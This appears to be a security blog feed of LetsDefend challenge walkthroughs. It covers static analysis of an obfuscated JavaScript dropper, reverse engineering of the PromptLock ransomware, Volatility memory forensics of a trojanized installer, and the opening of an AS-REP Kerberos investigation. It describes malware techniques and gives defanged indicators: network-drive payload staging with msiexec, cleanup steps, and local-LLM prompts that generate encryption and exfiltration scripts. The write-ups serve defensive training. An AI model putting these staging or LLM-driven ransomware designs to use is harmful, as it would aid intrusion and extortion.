LetsDefend on Drew Arpino (Stumblesec)

LetsDefend — Obfuscated JavaScript Challenge Walkthrough

Sun, 12 Apr 2026 00:00:00 +0000

LetsDefend: Obfuscated JavaScript Challenge Walkthrough

Malicious JavaScript Analysis: Identifying Obfuscation, WMI Usage, and Network-Based Payload Staging

Image Credit: https://app.letsdefend.io/challenge/obfuscated-javascript

Introduction:

Welcome to my weekly walkthrough! If you’ve stumbled across this blog looking for a detailed guide to the Obfuscated JavaScript blue team challenge from LetsDefend, you’re in the right place. This one drops us right into the world of script-based malware where attackers lean on obfuscation to complicate analysis.

In this challenge, we’re stepping into the role of a cybersecurity analyst responding to reports of strange behavior across internal web applications. What initially looks like routine troubleshooting quickly turns into something more concerning when we discover that several critical JavaScript files have been aggressively obfuscated.

Our mission is fairly straightforward but tricky in practice. We need to analyze the obfuscated script, identify the techniques used to hide its behavior, and determine whether it contains malicious code. With no automated tooling and no internet access, we’re forced to rely on careful inspection, pattern matching, and a methodical approach using nothing more than the terminal and a text editor. It’s not the sexiest approach, but it works.

Along the way, we’ll uncover how the script leverages ActiveX, WMI, and network drive mapping to enumerate the host environment, stage an external payload, and clean up after itself. I’ll walk through each step, explaining not just what we find, but why it matters from a defensive perspective. The goal isn’t just to solve the challenge, but to help contextualize what we find. Let’s go!

And hey, if this walkthrough helps you level up your JavaScript analysis skills, gets you past a stumbling block, or simply gives you another angle on script-based malware, consider following along for more weekly deep dives.

Thanks for reading and going on this investigation with me!

Challenge Scenario:

Imagine you are a cybersecurity analyst at a mid-sized tech company. One morning, you receive multiple reports from employees that their web applications are behaving erratically. Upon investigation, you discover that the source code of several critical JavaScript files has been heavily obfuscated, making it difficult to understand and troubleshoot the code. This obfuscation includes the insertion of numerous misleading comments, variable renaming, and string encoding. Your task is to analyze the obfuscated JavaScript code, identify the obfuscation techniques used, and determine if any malicious code has been inserted.

Question 1: What is the name of the ActiveXObject created in the script?

Let’s kick off our investigation by extracting the sample from sample.7z. This leaves us with an appropriately named text file, sample, which contains the obfuscated JavaScript we’re going to analyze.

Overview of the challenge artifacts.

Just to get an idea of what we’re working with, go ahead and open the file in the text editor provided by the LetsDefend environment.

Overview of the sample in a text editor

Yikes, it’s a mess! Under normal circumstances, we might start this workflow by throwing the script into CyberChef or another deobfuscation tool. This time, though, we’re deliberately limiting ourselves to what’s provided in the analysis environment. So, no automated tooling and no internet access. But, what we do have is the terminal and familiar Linux utilities like grep, which can still take us surprisingly far (like the whole way).

So, instead of trying to deobfuscate everything at once, we can find our footing by looking for recognizable patterns. For Question 1, we’re specifically asked to identify the ActiveXObject created in the script. That gives us a clear string to hunt for.

We’ll start by printing the contents of the sample to the terminal, piping the output into grep, and using the -i flag to ignore case and simply searching for " # “activex_.”

cat sample | grep -i “activex”

Running this command highlights a handful of non-obfuscated lines buried in the noise. Among them, we find the following code:

new ActiveXObject(“WScript.Network”)

Terminal: Using grep to identify " # "

activeX"

This tells us that the script leverages the ActiveXObject named “WScript.Network”. From the limited context we have so far, this suggests the script might be performing basic network enumeration, such as retrieving the computer name, domain membership, or mapped network drives.

Now that we’ve found some early reconnaissance behavior, let’s dig in further to see what else we can find.

Question 2: What WMI namespace is accessed in the script?

Next, we need to identify which Windows Management Instrumentation, or WMI, namespace the script accesses. WMI namespaces are essentially logical containers that group related management classes (like components) together. Understanding which namespace is in use helps us infer what kinds of system information the script is aiming to collect.

We’ll tackle this the same way we did in Question 1 by narrowing our focus with grep. This time, instead of searching for ActiveX, we’ll key in on WMI:

cat sample | grep -i “WMI”

Terminal: Identifying the WMI namespace with grep

This output gives us a bit more to work with. Right on the first matching line, we can see evidence that the script is interacting with the root\\CIMV2 namespace.

According to Microsoft, “root\CIMV2"is the default and one of the most commonly used WMI namespaces. It exposes a broad set of system and hardware-related classes, allowing scripts to query information about things like disks, running processes, memory, operating system details, and more.

While this isn’t inherently malicious, it seems like we’ve stumbled across more potential reconnaissance activity.

Question 3: What is the initial value of the attempt variable in the script?

Moving right along to Question 3, we need to identify the initial value of the attempt variable in the script. At this point, we’re already comfortable leveraging some lightweight pattern matching, so we’ll continue leaning on the terminal and grep.

This time, we’ll broaden the search scope slightly by looking for all variable declarations. In this sample, the obfuscation conveniently leaves /var as a recurring pattern, which makes it a useful anchor for limiting our output:

cat sample | grep -i “/var”

Terminal: Identifying the attempt variable

Voila! This approach yields a small set of variables without overwhelming us with too much noise. Scanning through the output, we’ll spot the definition of the attempt variable with a value of 0, suggesting it might be used as some kind of counter or control variable later in the script.

Question 4: What function is used to enumerate network drives in the script?

We’ve got a rhythm down now. Remember back in Question 1, where we stumbled across early evidence of network reconnaissance activity tied to WScript.Network? For Question 4, we’ll pivot back to that thread and broaden our search.

This time, we’ll hunt for references to network more generally and see what turns up:

cat sample | grep -i “network”

Terminal: Identifying the network drive enumeration

The output here is a bit noisier than before, but if you scan through the results, the third returned line stands out. That’s where we see a call to the network.MapNetworkDrive function.

This lines up nice and tidy with the WScript.Network object we identified earlier. Put together, it gives us solid evidence that the script is interacting with mapped network drives. Whether it’s enumerating existing mappings, creating new ones, or abusing them for lateral movement is something we’ll need to confirm by looking at how this function is used elsewhere in the code.

Question 5: How long does the script wait (in milliseconds) after executing the net use command?

Next up, we need to determine the waiting period defined in the script after executing the net use command. At first glance, it seems reasonable to search directly for the command itself. I tried grepping for “net use"first, but as you can see, that didn’t quite get us where we needed to go.

Instead, we need to zoom out slightly and look for broader timing-related evidence. In this case, the string “starttime"turns out to be a much better anchor:

cat sample | grep -i “starttime”

Terminal: Identifying the wait time

This output reveals the delay logic implemented by the script. Based on the value assigned and how it’s used, we can see that the script waits 3000 milliseconds after executing the net use command to map a non-persistent network drive.

That’s a short pause before the script continues, giving the mapped network drive time to become available before potentially being leveraged for staging additional payloads or collecting data for exfiltration. Let’s keep going and build out more context.

Question 6: What is the MSI package used for installation in the script called?

To answer Question 6, we need to identify the MSI package referenced in the script for the next stage of execution. Since the question explicitly mentions installation, it makes more sense to search for the Windows Installer utility itself rather than hunting blindly for .msi strings.

Instead, we’ll look for msiexec, the command-line tool commonly used to install MSI packages on Windows systems:

cat sample | grep -i “msiexec.exe”

Terminal: Identifying the package through msiexec

Bingo. This immediately surfaces the relevant line in the script. From the command arguments, we can see that the installer being executed is avp.msi, and it’s being launched directly from the mapped network share we identified earlier.

This ties back nicely to our observations in Question 5. We speculated that the mapped drive could be used for malware staging, and seeing avp.msi hosted on that share gives us increased confidence though we don’t have any firm evidence that it’s malicious.

Question 7: What is the final output message if the network drive removal fails in the script?

Coming into the home stretch, the question tells us that the script attempts to remove the mapped network drive and displays a message if that operation fails.

To track this down, we can keep things simple and adjust our grep filter to look for failure-related strings:

cat sample | grep -i “fail”

Terminal: Identifying the failure message

This quickly surfaces a message associated with the network drive cleanup logic.

From this, we can infer that after the MSI payload is executed, the script attempts to disconnect the staging area. If that removal fails, a failure message is displayed. This kind of cleanup behavior is likely an effort to remove artifacts and reduce the forensic footprint.

Question 8: What function is used to check if a drive is mapped in the script?

For the last question, we’ll follow a similar approach to the previous one. The prompt tells us there’s a function in the script responsible for checking whether a network drive is mapped, so we already have a nice hint about what to look for.

Let’s gather a bit more information by grepping for keywords related to drive mappings:

cat sample | grep -i “mapped”

Terminal: Identifying the isDriveMapped function

From this, we can see that the function isDriveMapped is used to determine whether a specific drive letter is already mapped, making it easy for the rest of the script to reference and reuse that information during execution.

And that’s all she wrote. This wraps up the analysis and confirms that the script includes logic not just to map and remove network drives, but also to track their state along the way. Great job!

Conclusion:

How fun was that? A big thank you to LetsDefend for another solid challenge.

This challenge was a great reminder that you don’t need advanced reverse engineering skills to extract meaningful insight from a suspicious script. By leaning on static analysis, pattern matching, and some inference from the questions, we were able to uncover suspicious functionality in the script, including host reconnaissance, network drive staging, payload delivery, and cleanup behavior, using nothing more than a terminal and a text editor.

For me, this challenge was just as much about exposure to different kinds of malware as it was about answering the questions. Obfuscated JavaScript isn’t at the top of my skillset, but working through this scenario highlighted the value of breaking things down, following the artifacts, and letting the script tell the story.

It also feels less hypothetical than it might have a few years ago. Script-based malware is still very much alive, and it’s the sort of activity defenders continue to encounter in real web environments. Getting comfortable with these patterns, even in a lab setting, pays dividends when similar behaviors show up during incident response or threat hunting.

Thanks for your support and for partnering with me on this investigation. If this walkthrough helped you over a stumbling block, sharpened your analysis skills, or gave you a new way to approach obfuscated scripts, please give it a clap and consider following me. Your feedback keeps me motivated, and it genuinely helps me support your security journey.

Until next week’s challenge, stay curious and be safe out there.

Tools & References:

Challenge Link: https://app.letsdefend.io/challenge/obfuscated-javascript

Microsoft Learn — about_WMI: https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_wmi?view=powershell-7.6

Microsoft Learn — msiexec: https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec

LetsDefend — AI-Powered Ransomware Challenge Walkthrough

Sun, 29 Mar 2026 00:00:00 +0000

LetsDefend: AI-Powered Ransomware Challenge Walkthrough

Reverse Engineering PromptLock: Static Analysis of AI-Powered Ransomware Using Ghidra, DiE, and PeStudio

Image Credit: https://app.letsdefend.io/challenge/ai-powered-ransomware

Introduction:

Welcome to my weekly walkthrough. If you’ve stumbled across this blog while looking for a step-by-step guide to the AI-Powered Ransomware challenge from LetsDefend you’re in the right place. This week’s scenario pushes into unfamiliar territory for me, combining traditional malware analysis with local AI model abuse, and that makes it a great opportunity to slow down, ask questions, and learn together.

In this challenge, we’re tasked with analyzing PromptLock, a cross-platform ransomware sample written in Go that leverages local large language models to generate malicious scripts on the fly.

Because this is still a growth area for me, this walkthrough leans into methodical static analysis rather than a deep dive with hero-level reversing. Using tools like Ghidra, Detect It Easy (DiE), and PeStudio, we’ll pull apart the binary to answer focused questions about how PromptLock works. Along the way, there will absolutely be moments where we stumble or don’t take the most efficient path. That’s part of the learning process, and we’ll still get to the bottom of it.

The goal here isn’t just to answer the challenge questions, but to build a repeatable workflow you can apply when you encounter unfamiliar malware techniques in the real world, especially as AI starts showing up in unexpected places. If this write-up helps you learn more about static analysis, local AI abuse, or simply gets you past a stumbling block of your own, I’m glad to help. Let’s go!

Challenge Scenario:

You are tasked with analyzing PromptLock, the first AI-powered ransomware. This malware is written in Go and leverages local AI models to generate malicious scripts on-the-fly. PromptLock can generate scripts from hard-coded prompts to enumerate the local filesystem, inspect target files, exfiltrate selected data, and perform encryption. These scripts are cross-platform compatible, functioning on Windows, Linux and macOS.

Question 1: What programming language do the malicious scripts generated by PromptLock use?

Let’s kick off this investigation by extracting the challenge file, promptlock.zip. That leaves us with a single executable:

e24fe0dd0bf8d3943d9c4282f172746af6b0787539b371e6626bdb86605ccd70.exe

To start the analysis, we turn to Detect It Easy (DiE). Detect It Easy is a popular file identification tool that’s especially useful early in a reverse engineering workflow. It can help identify compilers, metadata, and it also gives us access to plaintext strings that might expose clues about how the malware operates.

Conveniently, Detect It Easy is already installed on the LetsDefend VM under the Tools folder. Once opened, select the PromptLock binary using the File name selector to start the analysis.

Detect It Easy: Selecting the Strings View

Clicking the Strings button lets us inspect human-readable data embedded in the binary. This is a smart starting point for a cursory review, especially when we’re trying to understand high-level capabilities without diving straight into disassembly.

Since this is an introductory reverse-engineering challenge and I’m very much a beginner, let’s lean on the provided hint for a jump start.

Perfect! That hint nudges us toward something visible in the strings output, so let’s search for “code generator"using DiE’s strings filter.

Detect It Easy: Searching strings and pasting into Notepad++

The search returns a single match, but the raw output is hard to read in DiE. Right-click the entry, copy the string, and paste it into Notepad++ or another text editor of your choice. Cleaning up the formatting makes the content much easier to understand.

The prompt embedded in the binary instructs the LLM to behave as a Lua code generator. That tells us the malicious scripts generated by PromptLock are written in Lua, which answers Question 1.

Lua is lightweight, embeddable, and commonly used as a scripting language, which makes it a good choice for generating malicious scripts. Nice find!

Question 2: What role is assigned to the LLM for analyze sensitive files and assess cyberphysical threats?

We can approach Question 2 the same way we did in the previous question. This time, we’re looking for strings that describe a role assigned to the LLM through the embedded prompt.

One keyword from the question stands out immediately: cyberphysical. It’s weird and likely to appear verbatim in the prompt text. That makes it a good candidate for a strings search. Let’s try it.

Detect It Easy: Searching strings and pasting into Notepad++

Bingo! That keyword leads us directly to an associated prompt. As before, right-click the matching string, copy it, and paste it into Notepad++ or another text editor to make it easier to read.

Once the formatting is cleaned up, the context is clear. The prompt explicitly instructs the LLM to take on the role of a cybersecurity expert for responding to requests. Assigning a role this way is a common prompt-engineering technique, intended to guide the model toward more context-relevant output.

Question 3: What Go version was used to build the PromptLock ransomware?

Let’s see if we can continue using Detect It Easy (DiE) and its Strings view to identify the Go version used to build the PromptLock ransomware.

To do that, we first need a rough understanding of how Go versioning works. According to Wikipedia, “Go uses a_ _go1.[major].[patch]_ versioning format, such as _go1.26.0." This is a helpful tip and suggests we can search for the string go1 in the binary to identify development artifacts.

With that in mind, let’s search for go1 using DiE’s strings filter.

Detect It Easy: Finding the Go version string

There are a bunch of hits for go1, which isn’t too surprising. But, scanning through the results, one entry stands out, because it closely matches the expected go1.X format used for version identifiers.

That string indicates the specific Go version (_go1.24.5_) used to compile the binary, giving us the answer to Question 3.

Question 4: Which AI model does PromptLock use locally via the Ollama API to generate malicious scripts?

To answer Question 4, we need to crank up the difficulty slightly. This time, there wasn’t an obvious or relevant string in Detect It Easy’s Strings view that pointed directly to the AI model used by the malware.

That’s our cue to shuffle the approach.

For this task, let’s move over to Ghidra, the popular open-source reverse engineering tool. From the Tools folder, launch it by running ghidraRun.bat, step through the setup prompts, and allow Ghidra to analyze the PromptLock binary. Once analysis completes, Ghidra asks whether we want to jump straight to the main.main function, which is almost always a solid jumping-off point.

With main.main open, focus on the Decompiler window on the right. Scrolling through the variables and references, we’ll stumble across a call to main.model appearing on line 244. That sounds promising…

Go ahead and click main.model to jump to its definition in the central, listing window.

Ghidra: Identifying the AI model from the main.model function

Here we find a string value assigned to main.model.str: gpt-oss:20b.

This tells us which AI model PromptLock is configured to use locally through Ollama: gpt-oss:20b. This is an OpenAI-released**,** open-weight language model designed for running locally. That makes it a good fit for this scenario, as PromptLock seems to generate malicious scripts entirely on-host without relying on external connectivity or credentials.

Question 5: What is the hardcoded IP address that PromptLock connects to?

To answer Question 5, we need to identify a hard-coded IP address embedded in the PromptLock binary. While there are a few different ways to approach this using the tools we’ve already touched, let’s pivot and get some hands-on time with another option: pestudio.

pestudio is a fantastic static malware analysis tool that can surface a wide range of useful indicators quickly and with very little setup. It’s especially good at identifying things like IP addresses, URLs, and suspicious strings without requiring deep reverse engineering. Conveniently, this tool is also already included on the LetsDefend VM, so let’s take advantage of that.

Open pestudio and load the PromptLock executable. After a short analysis period, the panels on the left begin to populate. The section we’re interested in first is Indicators at the top.

pestudio: Uncovering a hardcoded IP address

This gives us a fast way to surface potential network indicators that we can later pivot on using threat intelligence or additional dynamic analysis. In this case, the URL pattern detected by pestudio resolves to the hardcoded IP address we’re looking for: 172[.]42[.]0[.]253.

Question 6: Which encryption algorithm does the PromptLock ransomware use for file encryption?

To answer Question 6, let’s jump back to Detect It Easy and take the path of least resistance by searching for a string related to encryption functionality.

A good starting point here is searching for the string "encrypt". That returns a large number of results, which isn’t surprising for a ransomware sample. Fortunately, near the top of the list, there’s something immediately conspicuous: a prompt instruction that explicitly references the SPECK 128-bit encryption algorithm. You might even notice a small spoiler for Question 8 hiding nearby.

Detect It Easy: Locating the ransomware encryption algorithm string

That string gives us what we need to answer Question 6. PromptLock uses SPECK 128-bit for encryption.

The use of SPECK seems consistent with how this malware approaches its overall design. According to Wikipedia, SPECK is a " # “family of lightweight block ciphers”, making it practical for ransomware that prioritizes cross-platform portability and low overhead.

Question 7: What is the Bitcoin address embedded in the binary?

To answer Question 7, we can take a straightforward approach by adjusting our search of the embedded strings for "bitcoin".

Detect It Easy: Discovering the attacker’s Bitcoin wallet address

It’s a quick payoff. Take a look at the first entry and copy it and paste it into a text editor for easier reading. From there, we’ll find that the prompt instructs the LLM to include a specific Bitcoin address in the generated ransom note. Nice!

Question 8: What is the file name contains the list of files to encrypt?

We’ve made it to the last question. Remember back in Question 7 when I mentioned you might have spotted a spoiler for what was coming next?

If we look closely at the strings output again, specifically at line 11359, right below the one we used to answer Question 7, we’ll find another useful instruction. This time, the prompt references a file named target_file_list.log.

The instructions indicate that this file is used to identify the encryption targets, telling PromptLock which files it should encrypt. That makes target_file_list.log the answer to Question 8.

Detect It Easy: Finding the target list file name string

This is a particularly valuable piece of evidence from a defensive perspective. Knowing the file name that contains the list of targets could help us better understand the scope of impact on a victim device, recover during an investigation, and build more precise detections.

Conclusion:

How fun was that! A big thank you to LetsDefend for another great challenge that pushed me into some new territory.

This one was a good reminder that even with beginner-level reverse engineering skills, you can still extract a surprising amount of meaningful information from a malware sample. By leaning on static analysis techniques and using the right tools at the right time, we were able to uncover AI model usage, encryption choices, network indicators, and attacker intent without needing to be a reversing wizard. That’s encouraging, especially if you’re earlier in your journey or hesitant to dive into malware analysis.

For me, this challenge was as much about building confidence as it was about answering questions. Static analysis isn’t always flashy, but it’s incredibly powerful, and working through PromptLock reinforced the value of slowing down, reading carefully, and following the evidence where it leads. There were moments where I stumbled or took a less-than-ideal path, but each of those course corrections helped reinforce the process and make the lessons stick.

It also feels like scenarios like this aren’t just theoretical. As AI becomes more accessible and more normalized, it’s not hard to imagine malware authors experimenting with similar designs. Getting comfortable with the terminology, tooling, and patterns now feels like a smart way to stay ahead of the curve, even if the analysis feels a little weird at first.

Thanks for your support and partnering on this investigation. If you found this walkthrough helpful — please give it a clap and consider following me! Your feedback is invaluable, and it pumps me up to support your security journey. Remember, cybersecurity is a team sport, and we’re in this together!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

Challenge Link: https://app.letsdefend.io/challenge/ai-powered-ransomware

Detect It Easy: https://github.com/horsicq/Detect-It-Easy

Notepad++: https://notepad-plus-plus.org/

Wikipedia — Go (Programming Language): https://en.wikipedia.org/wiki/Go_(programming_language)

Ghidra: https://github.com/nationalsecurityagency/ghidra

pestudio: https://www.winitor.com/

Wikipedia — Speck (cipher): https://en.wikipedia.org/wiki/Speck_(cipher)

LetsDefend — MemLoot Challenge Walkthrough

Sun, 22 Mar 2026 00:00:00 +0000

LetsDefend — MemLoot Challenge Walkthrough

Windows Memory Forensics with Volatility 3: Ransomware Detection, Process Analysis, and Network Artifact Discovery.

Image Credit: https://app.letsdefend.io/challenge/memloot

Introduction:

Welcome to my weekly walkthrough! If you’ve stumbled across this blog while looking for a detailed guide to the MemLoot blue team challenge from LetsDefend, you’re in the right place. This one goes all in on memory analysis, where volatile artifacts living in RAM can tell a story even when disk evidence is long gone.

For this challenge, we’re putting on our incident response hats and investigating a ransomware alert on a newly provisioned workstation. After some scary activity was detected, including file encryption and a ransom note, the system was isolated from the network. The user reported downloading and installing what they believed was legitimate software shortly before everything went off the rails. Our mission is to validate that story and figure out exactly what happened.

Fortunately, we’re provided with a memory dump from the affected system, which gives us everything we need to begin reconstructing the attack. Using Volatility 3, we’ll analyze running processes, identify file paths, uncover network artifacts, and reveal the ransomware’s behavior directly from memory. Along the way, we’ll correlate process trees, execution timestamps, encrypted file indicators, and outbound connections to build a clear picture of what went down.

I’ll walk you through each stage, explaining what we’re doing so you can develop your own workflow for approaching similar incidents in the real world. By the end, you’ll have a solid sense of how to use Volatility to pivot from suspicious executables to network infrastructure and confidently piece together an attack chain hiding inside RAM. Let’s go!

And hey, if you find this walkthrough helpful, whether it helps you level up your memory forensics skills, gets you over a stumbling block, or just serves as a useful reference, consider following me for more weekly deep dives.

Thanks for reading and going on this investigation with me!

Challenge Scenario:

We are reporting a ransomware attack on a workstation belonging to a new employee.

The machine was isolated from the network after unusual activity was detected, including file encryption and the appearance of a ransom note.

The employee mentioned that they had recently downloaded and installed software, believing it to be a legitimate application. Shortly after, critical files became inaccessible, and a ransom message appeared.

We are providing you with a memory dump to help identify the cause of the ransomware infection and determine how the attack was executed

Question 1: Identify the suspicious executable running in memory.

Let’s kick off this investigation by opening the ChallengeFile folder, which contains the artifact we’ll be examining: MemLoot.vmem.

Overview of the challenge artifacts

You might be asking yourself what a .vmem file actually is and how we’re supposed to read it. That’s exactly the point of this challenge. A .vmem file is a virtual memory dump from a VMware virtual machine, capturing a snapshot of its virtual RAM at a specific point in time. Memory images like this are rich forensic artifacts that let us dig into evidence such as running processes, loaded modules, injected code, and even fragments of network activity.

To explore the memory image, we’ll use Volatility 3, the modern version of the popular memory forensics framework described as “the world’s most widely used framework for extracting digital artifacts from volatile memory (RAM) samples.“I’ll refer to it simply as Volatility from this point forward. This tool is already installed on the LetsDefend virtual machine, so we’re good to go.

To get started, open Volatility from the pinned shortcut on the taskbar.

Launching Volatility

Once it’s open, a quick pro tip if you’re still getting comfortable with Volatility is to review the built-in help, which lists supported plugins and usage details:

vol -h

Looking back at our objective for Question 1, we need to identify a suspicious executable running on the compromised host. From Volatility’s help output, we can see that the windows.pslist plugin is a solid starting point. It enumerates processes that were active in memory at the time the snapshot was captured.

Let’s give it a try:

vol -f .\MemLoot.vmem windows.pslist

Volatility: Identifying the suspicious executable

Once the output loads, we can start examining the process list. Depending on your familiarity with Windows internals, some process names will look immediately normal, while others may feel just a bit off. If you ever stumble here, a reliable reference is the SANS Hunt Evil cheat sheet, which helps quickly distinguish expected Windows process from anomalous ones.

Now let’s tie this back to the scenario. We’re told that “the employee mentioned that they had recently downloaded and installed software, believing it to be a legitimate application.“One process that immediately stands out is SpotifySetup.exe, which neatly fits into the scenario.

At this stage, we’ve got a strong lead and a suspicious file potentially masquerading as a familiar app.

Question 2: What is the full path of the malicious file?

Now that we’ve identified the suspicious executable, it’s time to dig a little deeper and determine the full path of the file on disk.

To do this, we’ll pivot away from windows.pslist and instead leverage the windows.pstree module. While windows.pslist gives us a flat view of running processes, _windows.pstree_ helps us understand parent€“child relationships and often includes additional context, such as the executable path, when it’s available in memory.

A clean way to narrow our focus is to apply some pattern matching to the output. Think of this as a rough equivalent to grep on Linux. Since we’re running Volatility on Windows, we can pipe the output directly into the PowerShell Select-String cmdlet and filter for references to our suspicious binary, SpotifySetup.exe.

vol -f .\MemLoot.vmem windows.pstree | Select-String -Pattern “SpotifySetup.exe”

Running this command and filtering the results reveals the full path of the executable on the original host’s disk:

C:\Users\Zifrana\Downloads\SpotifySetup.exe

Volatility: Uncovering the malicious file path using windows.pstree

This makes sense given the scenario. The employee mentioned downloading what they believed was legitimate software, and the Downloads directory is a common staging point for exactly that kind of activity. At this point, we’ve confirmed not only the suspicious process name, but also where it lived on disk, giving us valuable context for how the ransomware likely made its way onto the system.

Questions 3 & 4:

What is the PID of the malicious file?

When was the malicious file executed?

One of the nice bonuses of using windows.pstree instead of stopping at windows.pslist is that we get access to more contextual details than just a process name and hierarchy. In addition to showing us where the executable lived on disk, the output also exposes the process ID (PID) and the creation timestamp for that process.

That gives us everything we need to answer Question 3 and Question 4 without introducing any new commands.

Volatility: Uncovering the malicious file PID and executed timestamp using windows.pstree

At this point, we’ve established not just what executable ran and where it came from, but also when it entered execution and how it appeared in the process tree. With those answers in hand, we’re in good shape to move into deeper analysis.

Question 5: What is the real name of the malicious file?

Continuing our analysis of the malicious SpotifySetup.exe, we now need to determine the real name of the file, not just the display name used to lure a victim into launching it.

To do that, we’ll take advantage of an optional argument available in Volatility‘s windows.pslist module. The --dump option allows us to extract the in-memory contents associated with a specific process so that we can perform offline analysis.

Volatility: Dumping the contents of the malicious process

Using the PID we identified earlier, we can run:

vol -f .\MemLoot.vmem windows.pslist –dump –pid 6816

This command produces a .dmp file containing the dumped memory for that process. While this isn’t the same as the original executable copied directly from disk, it can be enough to extract useful metadata that survives in memory.

For that analysis, we’ll use ExifTool, a widely used metadata inspection utility. ExifTool is already installed in the Tools folder of the LetsDefend environment, which makes it convenient. We can point it directly at the dumped file like this:

.\exiftool.exe -f “C:\Users\LetsDefend\Desktop\ChallengeFile\6816.SpotifySetup.e.0x7ff6ad990000.dmp”

ExifTool: Identifying the Original File Name

Reviewing the output, the Original File Name field sticks out. Instead of anything resembling Spotify, the value is listed as DarkHav0c.

That’s a far spookier name than the one presented to the user and a strong indicator that the executable was masquerading as legitimate software. At this point, the gap between the file’s display name and its embedded metadata helps confirm that we’re dealing with a trojanized installer rather than an accidental false positive.

Question 6: What file extension does the ransomware use after encryption?

Now that we’ve collected a solid amount of information about the file itself, let’s shift focus toward understanding how it operates. We’ve already established that this binary behaves like ransomware, and one of the most visible indicators of successful encryption is the file extension appended to victim files.

To identify that extension, we’ll start by returning to the user path we discovered back in Question 2 and build outward from there. This time, we’ll rely on Volatility‘s windows.filescan plugin, which searches memory for file objects that may still be referenced by the operating system.

For a little peek behind the curtains, this step gave me some trouble.

My first instinct was to filter the output down to the user’s directory using pattern matching. I tried piping the results through findstr to look at everything under \Users\Zifrana\:

vol -f .\MemLoot.vmem windows.filescan | findstr “\Users\Zifrana"

I also tried exporting the output to a text file, hoping that it would make it easier to sift through:

vol -f .\MemLoot.vmem windows.filescan > filescan.txt

Unfortunately, neither approach turned up anything useful. The exported output was truncated, and the filtered results didn’t surface any meaningful indicators related to encrypted files.

At that point, there was only one option left. Manual mode.

vol -f .\MemLoot.vmem windows.filescan

Letting the full file scan stream directly to the terminal isn’t elegant, and it takes a loooooong time to run, so be patient: Maybe you’ll spot something interesting as it zips by…

Volatility: Locating the needle in the haystack

Finally, once it completes, we can start to scroll up through the output. Thankfully, we don’t have to go too far before we stumble across a familiar file extension, .Hav0c.

That extension gives us our answer for Question 6 and provides another strong indicator tying the observed activity back to the malicious binary we’ve been analyzing.

Question 7: Identify the IP address and port the ransomware attempted to communicate with.

To tackle Question 7, we’re going to pivot to another Volatility module: windows.netscan. This plugin scans memory for network artifacts, including active and recently closed connections, IP addresses, and associated ports.

Our goal here is to identify network activity tied specifically to the malicious binary, SpotifySetup.exe.

To make that easier, we’ll run the module and redirect its output to a text file. This gives us the flexibility to quickly search through the results using a text editor rather than manually scrolling through terminal output. In the example below, the results are written to a file named netscan.txt:

vol -f .\MemLoot.vmem windows.netscan > netscan.txt

Once that command completes, we can open netscan.txt in a tool like Notepad and use its built-in search functionality. Press Ctrl + F, search for SpotifySetup, and jump to the first matching entry.

Notepad: Analyzing the output of Volatility’s windows.netscan

From that entry, we can see that SpotifySetup.exe established an outbound connection to a ForeignAddr of 104[.]152[.]52[.]238 over ForeignPort 6548.

This is a nice find because it gives us visibility into the attacker’s external infrastructure like a potential command and control address. It’s also great for defensive purposes, such as blocking the indicator or pivoting into threat intelligence to discover more related activity.

Questions 8 & 9:

What is the PPID of the malicious file?

Identify the initiating process that executed the malicious binary.

Finally, we’ve made it to the last two questions, and fittingly, they take us right back to where this investigation began.

To answer Question 8 and Question 9, we need to revisit the windows.pslist output from Question 1 and take a closer look at how SpotifySetup.exe was launched.

Within the process listing, we can identify the parent process ID (PPID) associated with the malicious binary. The PPID for SpotifySetup.exe is 5864.

Volatility: Identifying the malware PPID with windows.pslist

With that, we can tighten our focus and determine which process was responsible for launching the ransomware. A quick way to do that is to search the process list for the matching PID:

vol -f .\MemLoot.vmem windows.pslist | findstr “5864”

Volatility: Uncovering the PPID

VoilÃ ! That search reveals that process 5864 maps directly to explorer.exe, the Windows shell. Since explorer.exe is responsible for handling user-initiated actions like double-clicking files or executing programs, this confirms the user’s story of good, ole social engineering, where the employee reported downloading and installing what they believed to be legitimate software.

Now that we’ve gotten everything scoped, let’s close out this investigation!

Conclusion:

How fun was that! A big thank you to LetsDefend for another awesome challenge.

This week’s investigation was a great starting point into practical memory forensics, giving us a firsthand look at how ransomware activity can be reconstructed using volatile artifacts alone. From identifying a suspicious executable in memory, to uncovering its true name, spotting encrypted files, and finally surfacing outbound network connections, this challenge showcased just how much visibility RAM can provide during incident response. Pretty cool, right?

As we worked through the memory dump, we were rebuilding the attack chain one artifact at a time. Each question flowed naturally into the next, and the investigation felt logical and intuitive as we pivoted between process listings, file scans, and network artifacts using Volatility. For me, a structured approach makes it especially satisfying, since you’re not just answering questions, you’re reinforcing how real incident response workflows come together. Love it!

I picked this challenge because while I’ve used Volatility plenty of times, I hadn’t tried it on Windows before and wanted to see how different it felt compared to Linux. On top of that, opportunities to practice memory analysis in the real world don’t come up often. It can be intimidating at first, but challenges like this help make it click and let you get your reps in. Practice really does make perfect.

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

Challenge Link: https://app.letsdefend.io/challenge/memloot

GitHub — Volatility 3: https://github.com/volatilityfoundation/volatility3

Volatility Command Reference: https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#netscan

SANS Hunt Evil Poster: https://www.sans.org/posters/hunt-evil

ExifTool: https://exiftool.org/

LetsDefend — AS-REP Challenge Walkthrough

Mon, 02 Feb 2026 00:00:00 +0000

LetsDefend — AS-REP Challenge Walkthrough

Investigating Domain Controller Logs and Endpoint Artifacts Using Event Log Explorer and PECmd.

Image Credit: https://app.letsdefend.io/challenge/as-rep-challenge

Introduction:

Welcome to my weekly walkthrough! If you’ve stumbled across this blog while looking for a detailed guide to the AS-REP challenge from LetsDefend, you’re in the right place.

This challenge pairs nicely with two others in the series, and there’s some overlap in approach. If you like this topic, check out:

LetsDefend - LDAP Enumeration Challenge Walkthrough

LetsDefend - Golden Ticket Challenge Walkthrough

Challenge Scenario:

A network security team received alerts from a Domain Controller (DC) indicating that a user was making unusual requests for Kerberos tickets, which is not typical for their role. Given that this behavior aligns with potential reconnaissance or lateral movement within the network, the security team escalated the issue to a senior investigator. The investigator has been tasked with analyzing the provided DC and workstation logs to trace the attacker’s movements, determine the source of the anomaly, and understand how the attacker gained access and what actions they might have taken inside the network.

For this challenge, we’re putting on our incident response hats. We’ve got suspicious Kerberos ticket requests, alerts from the responding DC, and a set of artifacts from the user’s workstation. It’s up to us to shed light on what happened and why.

